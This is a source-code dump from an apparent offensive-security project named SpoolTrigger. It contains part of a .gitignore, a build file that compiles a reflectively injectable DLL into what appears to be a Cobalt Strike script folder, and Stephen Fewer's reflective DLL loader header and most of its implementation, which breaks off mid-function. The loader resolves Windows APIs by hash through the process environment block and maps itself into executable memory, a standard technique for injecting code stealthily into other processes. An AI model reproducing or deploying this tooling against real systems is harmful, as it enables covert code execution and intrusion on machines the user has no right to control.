Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 179 | # checkin your Azure Web App publish settings, but sensitive information contained 180 | # in these scripts will be unencrypted 181 | PublishScripts/ 182 | 183 | # NuGet Packages 184 | *.nupkg 185 | # The packages folder can be ignored because of Package Restore 186 | **/[Pp]ackages/* 187 | # except build/, which is used as an MSBuild target. 188 | !**/[Pp]ackages/build/ 189 | # Uncomment if necessary however generally it will be regenerated when needed 190 | #!**/[Pp]ackages/repositories.config 191 | # NuGet v3's project.json files produces more ignorable files 192 | *.nuget.props 193 | *.nuget.targets 194 | 195 | # Microsoft Azure Build Output 196 | csx/ 197 | *.build.csdef 198 | 199 | # Microsoft Azure Emulator 200 | ecf/ 201 | rcf/ 202 | 203 | # Windows Store app package directories and files 204 | AppPackages/ 205 | BundleArtifacts/ 206 | Package.StoreAssociation.xml 207 | _pkginfo.txt 208 | *.appx 209 | 210 | # Visual Studio cache files 211 | # files ending in .cache can be ignored 212 | *.[Cc]ache 213 | # but keep track of directories ending in .cache 214 | !?*.[Cc]ache/ 215 | 216 | # Others 217 | ClientBin/ 218 | ~$* 219 | *~ 220 | *.dbmdl 221 | *.dbproj.schemaview 222 | *.jfm 223 | *.pfx 224 | *.publishsettings 225 | orleans.codegen.cs 226 | 227 | # Including strong name files can present a security risk 228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 229 | #*.snk 230 | 231 | # Since there are multiple workflows, uncomment next line to ignore bower_components 232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 233 | #bower_components/ 234 | 235 | # RIA/Silverlight projects 236 | Generated_Code/ 237 | 238 | # Backup & report files from converting an old project file 239 | # to a newer Visual Studio version. Backup files are not needed, 240 | # because we have git ;-) 241 | _UpgradeReport_Files/ 242 | Backup*/ 243 | UpgradeLog*.XML 244 | UpgradeLog*.htm 245 | ServiceFabricBackup/ 246 | *.rptproj.bak 247 | 248 | # SQL Server files 249 | *.mdf 250 | *.ldf 251 | *.ndf 252 | 253 | # Business Intelligence projects 254 | *.rdl.data 255 | *.bim.layout 256 | *.bim_*.settings 257 | *.rptproj.rsuser 258 | *- Backup*.rdl 259 | 260 | # Microsoft Fakes 261 | FakesAssemblies/ 262 | 263 | # GhostDoc plugin setting file 264 | *.GhostDoc.xml 265 | 266 | # Node.js Tools for Visual Studio 267 | .ntvs_analysis.dat 268 | node_modules/ 269 | 270 | # Visual Studio 6 build log 271 | *.plg 272 | 273 | # Visual Studio 6 workspace options file 274 | *.opt 275 | 276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 277 | *.vbw 278 | 279 | # Visual Studio LightSwitch build output 280 | **/*.HTMLClient/GeneratedArtifacts 281 | **/*.DesktopClient/GeneratedArtifacts 282 | **/*.DesktopClient/ModelManifest.xml 283 | **/*.Server/GeneratedArtifacts 284 | **/*.Server/ModelManifest.xml 285 | _Pvt_Extensions 286 | 287 | # Paket dependency manager 288 | .paket/paket.exe 289 | paket-files/ 290 | 291 | # FAKE - F# Make 292 | .fake/ 293 | 294 | # JetBrains Rider 295 | .idea/ 296 | *.sln.iml 297 | 298 | # CodeRush personal settings 299 | .cr/personal 300 | 301 | # Python Tools for Visual Studio (PTVS) 302 | __pycache__/ 303 | *.pyc 304 | 305 | # Cake - Uncomment if you are using it 306 | # tools/** 307 | # !tools/packages.config 308 | 309 | # Tabs Studio 310 | *.tss 311 | 312 | # Telerik's JustMock configuration file 313 | *.jmconfig 314 | 315 | # BizTalk build output 316 | *.btp.cs 317 | *.btm.cs 318 | *.odx.cs 319 | *.xsd.cs 320 | 321 | # OpenCover UI analysis results 322 | OpenCover/ 323 | 324 | # Azure Stream Analytics local run output 325 | ASALocalRun/ 326 | 327 | # MSBuild Binary and Structured Log 328 | *.binlog 329 | 330 | # NVidia Nsight GPU debugger configuration file 331 | *.nvuser 332 | 333 | # MFractors (Xamarin productivity tool) working folder 334 | .mfractor/ 335 | 336 | # Local History for Visual Studio 337 | .localhistory/ 338 | 339 | # BeatPulse healthcheck temp database 340 | healthchecksdb 341 | 342 | .DS_Store 343 | -------------------------------------------------------------------------------- /SpoolTrigger/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | 35 | #include "ReflectiveDLLInjection.h" 36 | 37 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 38 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); 39 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 40 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); 41 | 42 | #define KERNEL32DLL_HASH 0x6A4ABC5B 43 | #define NTDLLDLL_HASH 0x3CFA685D 44 | 45 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 46 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 47 | #define VIRTUALALLOC_HASH 0x91AFCA54 48 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 49 | 50 | #define IMAGE_REL_BASED_ARM_MOV32A 5 51 | #define IMAGE_REL_BASED_ARM_MOV32T 7 52 | 53 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 54 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 55 | #define ARM_MOVW 0xF2400000 56 | #define ARM_MOVT 0xF2C00000 57 | 58 | #define HASH_KEY 13 59 | //===============================================================================================// 60 | #pragma intrinsic( _rotr ) 61 | 62 | __forceinline DWORD ror(DWORD d) 63 | { 64 | return _rotr(d, HASH_KEY); 65 | } 66 | 67 | __forceinline DWORD hash(char* c) 68 | { 69 | register DWORD h = 0; 70 | do 71 | { 72 | h = ror(h); 73 | h += *c; 74 | } while (*++c); 75 | 76 | return h; 77 | } 78 | //===============================================================================================// 79 | typedef struct _UNICODE_STR 80 | { 81 | USHORT Length; 82 | USHORT MaximumLength; 83 | PWSTR pBuffer; 84 | } UNICODE_STR, * PUNICODE_STR; 85 | 86 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 87 | //__declspec( align(8) ) 88 | typedef struct _LDR_DATA_TABLE_ENTRY 89 | { 90 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 91 | LIST_ENTRY InMemoryOrderModuleList; 92 | LIST_ENTRY InInitializationOrderModuleList; 93 | PVOID DllBase; 94 | PVOID EntryPoint; 95 | ULONG SizeOfImage; 96 | UNICODE_STR FullDllName; 97 | UNICODE_STR BaseDllName; 98 | ULONG Flags; 99 | SHORT LoadCount; 100 | SHORT TlsIndex; 101 | LIST_ENTRY HashTableEntry; 102 | ULONG TimeDateStamp; 103 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 104 | 105 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 106 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 107 | { 108 | DWORD dwLength; 109 | DWORD dwInitialized; 110 | LPVOID lpSsHandle; 111 | LIST_ENTRY InLoadOrderModuleList; 112 | LIST_ENTRY InMemoryOrderModuleList; 113 | LIST_ENTRY InInitializationOrderModuleList; 114 | LPVOID lpEntryInProgress; 115 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 116 | 117 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 118 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 119 | { 120 | struct _PEB_FREE_BLOCK* pNext; 121 | DWORD dwSize; 122 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 123 | 124 | // struct _PEB is defined in Winternl.h but it is incomplete 125 | // WinDbg> dt -v ntdll!_PEB 126 | typedef struct __PEB // 65 elements, 0x210 bytes 127 | { 128 | BYTE bInheritedAddressSpace; 129 | BYTE bReadImageFileExecOptions; 130 | BYTE bBeingDebugged; 131 | BYTE bSpareBool; 132 | LPVOID lpMutant; 133 | LPVOID lpImageBaseAddress; 134 | PPEB_LDR_DATA pLdr; 135 | LPVOID lpProcessParameters; 136 | LPVOID lpSubSystemData; 137 | LPVOID lpProcessHeap; 138 | PRTL_CRITICAL_SECTION pFastPebLock; 139 | LPVOID lpFastPebLockRoutine; 140 | LPVOID lpFastPebUnlockRoutine; 141 | DWORD dwEnvironmentUpdateCount; 142 | LPVOID lpKernelCallbackTable; 143 | DWORD dwSystemReserved; 144 | DWORD dwAtlThunkSListPtr32; 145 | PPEB_FREE_BLOCK pFreeList; 146 | DWORD dwTlsExpansionCounter; 147 | LPVOID lpTlsBitmap; 148 | DWORD dwTlsBitmapBits[2]; 149 | LPVOID lpReadOnlySharedMemoryBase; 150 | LPVOID lpReadOnlySharedMemoryHeap; 151 | LPVOID lpReadOnlyStaticServerData; 152 | LPVOID lpAnsiCodePageData; 153 | LPVOID lpOemCodePageData; 154 | LPVOID lpUnicodeCaseTableData; 155 | DWORD dwNumberOfProcessors; 156 | DWORD dwNtGlobalFlag; 157 | LARGE_INTEGER liCriticalSectionTimeout; 158 | DWORD dwHeapSegmentReserve; 159 | DWORD dwHeapSegmentCommit; 160 | DWORD dwHeapDeCommitTotalFreeThreshold; 161 | DWORD dwHeapDeCommitFreeBlockThreshold; 162 | DWORD dwNumberOfHeaps; 163 | DWORD dwMaximumNumberOfHeaps; 164 | LPVOID lpProcessHeaps; 165 | LPVOID lpGdiSharedHandleTable; 166 | LPVOID lpProcessStarterHelper; 167 | DWORD dwGdiDCAttributeList; 168 | LPVOID lpLoaderLock; 169 | DWORD dwOSMajorVersion; 170 | DWORD dwOSMinorVersion; 171 | WORD wOSBuildNumber; 172 | WORD wOSCSDVersion; 173 | DWORD dwOSPlatformId; 174 | DWORD dwImageSubsystem; 175 | DWORD dwImageSubsystemMajorVersion; 176 | DWORD dwImageSubsystemMinorVersion; 177 | DWORD dwImageProcessAffinityMask; 178 | DWORD dwGdiHandleBuffer[34]; 179 | LPVOID lpPostProcessInitRoutine; 180 | LPVOID lpTlsExpansionBitmap; 181 | DWORD dwTlsExpansionBitmapBits[32]; 182 | DWORD dwSessionId; 183 | ULARGE_INTEGER liAppCompatFlags; 184 | ULARGE_INTEGER liAppCompatFlagsUser; 185 | LPVOID lppShimData; 186 | LPVOID lpAppCompatInfo; 187 | UNICODE_STR usCSDVersion; 188 | LPVOID lpActivationContextData; 189 | LPVOID lpProcessAssemblyStorageMap; 190 | LPVOID lpSystemDefaultActivationContextData; 191 | LPVOID lpSystemAssemblyStorageMap; 192 | DWORD dwMinimumStackCommit; 193 | } _PEB, * _PPEB; 194 | 195 | typedef struct 196 | { 197 | WORD offset : 12; 198 | WORD type : 4; 199 | } IMAGE_RELOC, * PIMAGE_RELOC; 200 | //===============================================================================================// 201 | #endif 202 | //===============================================================================================// 203 | -------------------------------------------------------------------------------- /SpoolTrigger/SpoolTrigger.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {80A14EC7-7999-4828-8C48-13CDA7853E29} 24 | Win32Proj 25 | SpoolTrigger 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | false 35 | 36 | 37 | DynamicLibrary 38 | false 39 | v142 40 | true 41 | Unicode 42 | false 43 | 44 | 45 | DynamicLibrary 46 | true 47 | v142 48 | Unicode 49 | false 50 | 51 | 52 | DynamicLibrary 53 | false 54 | v142 55 | true 56 | Unicode 57 | false 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | true 79 | 80 | 81 | true 82 | 83 | 84 | false 85 | $(ProjectName).$(PlatformTarget) 86 | 87 | 88 | false 89 | $(ProjectName).$(PlatformTarget) 90 | 91 | 92 | 93 | Use 94 | Level3 95 | true 96 | WIN32;_DEBUG;SPOOLTRIGGER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 97 | true 98 | pch.h 99 | 100 | 101 | Windows 102 | true 103 | false 104 | 105 | 106 | 107 | 108 | NotUsing 109 | Level3 110 | true 111 | _DEBUG;SPOOLTRIGGER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 112 | true 113 | pch.h 114 | 115 | 116 | Windows 117 | true 118 | false 119 | 120 | 121 | 122 | 123 | NotUsing 124 | Level3 125 | true 126 | true 127 | true 128 | WIN32;NDEBUG;WIN_X86;SPOOLTRIGGER_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 129 | true 130 | pch.h 131 | None 132 | 133 | 134 | Windows 135 | true 136 | true 137 | false 138 | false 139 | 140 | 141 | copy /Y "$(TargetDir)$(TargetName).dll" "$(SolutionDir)cna\bin\$(TargetName).dll" 142 | 143 | 144 | 145 | 146 | NotUsing 147 | Level3 148 | true 149 | true 150 | true 151 | NDEBUG;SPOOLTRIGGER_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X64;%(PreprocessorDefinitions) 152 | true 153 | MultiThreadedDLL 154 | None 155 | 156 | 157 | Windows 158 | true 159 | true 160 | false 161 | false 162 | 163 | 164 | copy /Y "$(TargetDir)$(TargetName).dll" "$(SolutionDir)cna\bin\$(TargetName).dll" 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | -------------------------------------------------------------------------------- /SpoolTrigger/ReflectiveLoader.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while (TRUE) 90 | { 91 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #ifdef WIN_X64 111 | uiBaseAddress = __readgsqword(0x60); 112 | #else 113 | #ifdef WIN_X86 114 | uiBaseAddress = __readfsdword(0x30); 115 | #else WIN_ARM 116 | uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); 117 | #endif 118 | #endif 119 | 120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 122 | 123 | // get the first entry of the InMemoryOrder module list 124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 125 | while (uiValueA) 126 | { 127 | // get pointer to current modules name (unicode string) 128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | // clear uiValueC which will store the hash of the module name 132 | uiValueC = 0; 133 | 134 | // compute the hash of the module name... 135 | do 136 | { 137 | uiValueC = ror((DWORD)uiValueC); 138 | // normalize to uppercase if the madule name is in lowercase 139 | if (*((BYTE*)uiValueB) >= 'a') 140 | uiValueC += *((BYTE*)uiValueB) - 0x20; 141 | else 142 | uiValueC += *((BYTE*)uiValueB); 143 | uiValueB++; 144 | } while (--usCounter); 145 | 146 | // compare the hash with that of kernel32.dll 147 | if ((DWORD)uiValueC == KERNEL32DLL_HASH) 148 | { 149 | // get this modules base address 150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 151 | 152 | // get the VA of the modules NT Header 153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 154 | 155 | // uiNameArray = the address of the modules export directory entry 156 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 157 | 158 | // get the VA of the export directory 159 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 160 | 161 | // get the VA for the array of name pointers 162 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 163 | 164 | // get the VA for the array of name ordinals 165 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 166 | 167 | usCounter = 3; 168 | 169 | // loop while we still have imports to find 170 | while (usCounter > 0) 171 | { 172 | // compute the hash values for this function name 173 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); 174 | 175 | // if we have found a function we want we get its virtual address 176 | if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) 177 | { 178 | // get the VA for the array of addresses 179 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 180 | 181 | // use this functions name ordinal as an index into the array of name pointers 182 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 183 | 184 | // store this functions VA 185 | if (dwHashValue == LOADLIBRARYA_HASH) 186 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); 187 | else if (dwHashValue == GETPROCADDRESS_HASH) 188 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); 189 | else if (dwHashValue == VIRTUALALLOC_HASH) 190 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); 191 | 192 | // decrement our counter 193 | usCounter--; 194 | } 195 | 196 | // get the next exported function name 197 | uiNameArray += sizeof(DWORD); 198 | 199 | // get the next exported function name ordinal 200 | uiNameOrdinals += sizeof(WORD); 201 | } 202 | } 203 | else if ((DWORD)uiValueC == NTDLLDLL_HASH) 204 | { 205 | // get this modules base address 206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 207 | 208 | // get the VA of the modules NT Header 209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 210 | 211 | // uiNameArray = the address of the modules export directory entry 212 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 213 | 214 | // get the VA of the export directory 215 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 216 | 217 | // get the VA for the array of name pointers 218 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 219 | 220 | // get the VA for the array of name ordinals 221 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 222 | 223 | usCounter = 1; 224 | 225 | // loop while we still have imports to find 226 | while (usCounter > 0) 227 | { 228 | // compute the hash values for this function name 229 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); 230 | 231 | // if we have found a function we want we get its virtual address 232 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 233 | { 234 | // get the VA for the array of addresses 235 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 236 | 237 | // use this functions name ordinal as an index into the array of name pointers 238 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 239 | 240 | // store this functions VA 241 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); 243 | 244 | // decrement our counter 245 | usCounter--; 246 | } 247 | 248 | // get the next exported function name 249 | uiNameArray += sizeof(DWORD); 250 | 251 | // get the next exported function name ordinal 252 | uiNameOrdinals += sizeof(WORD); 253 | } 254 | } 255 | 256 | // we stop searching when we have found everything we need. 257 | if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) 258 | break; 259 | 260 | // get the next entry 261 | uiValueA = DEREF(uiValueA); 262 | } 263 | 264 | // STEP 2: load our image into a new permanent location in memory... 265 | 266 | // get the VA of the NT Header for the PE to be loaded 267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 268 | 269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while (uiValueA--) 279 | *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; 280 | 281 | // STEP 3: load in all of our sections... 282 | 283 | // uiValueA = the VA of the first section 284 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); 285 | 286 | // itterate through all sections, loading them into memory. 287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 288 | while (uiValueE--) 289 | { 290 | // uiValueB is the VA for this section 291 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); 292 | 293 | // uiValueC if the VA for this sections data 294 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); 295 